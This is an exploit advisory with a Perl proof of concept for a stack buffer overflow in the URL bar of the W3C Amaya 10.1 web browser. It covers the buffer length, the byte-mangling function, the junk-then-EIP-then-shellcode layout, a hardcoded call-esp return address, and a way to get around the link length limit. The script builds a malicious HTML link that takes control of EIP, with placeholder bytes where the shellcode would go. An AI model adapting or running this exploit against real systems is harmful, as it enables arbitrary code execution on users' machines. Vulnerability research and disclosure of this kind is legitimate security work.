# W3C Amaya 10.1 Web Browser # # Amaya (URL Bar) Remote Stack Overflow Vulnerability # # Written and discovered by: # r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) # # Advisory: http://www.bmgsec.com.au/advisory/40/ # ------------------------------------------------------ # # Shellcode notes: # The application fails to correctly process certain bytes: # 0x9c becomes 0x9cc2 # Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb). # # After reviewing the source code, the below function modifies the # shellcode: # Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest) # # The max value which can be used is 0x1fffff <-- Thanks Luigi! # ------------------------------------------------------ # # The URL bar contains a buffer overflow vulnerability: # buffer length: 1600 bytes # # [junk] + [eip] + [shellcode] # 1600 + 4 + sizeof(shellcode) # # ESP points to data after EIP. # # I found it difficult to access the URL bar via HTML code. For example, compile the above code, # write it to a HTML file, then load it into the browser. Attempt to click the link and # you will notice there is a 800 character limit on the link. # # To bypass this problem click the link then select "Links" >> "Create or change link...". # Now click "Confirm". Alternatively just copy the payload into the URL bar. # # URL Bar Proof of concept: # ---------------------------------------------------- #!/usr/bin/perl use warnings; use strict; my $shellcode = 'C' x 80; # 0x7D035F53 -> \x53\x5f\x03\x7d <-- Bingo! (call esp) my $data = '<a href="' . 'A' x 1600 . "\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode) $shellcode . '">r0ut3r</a>'; print $data;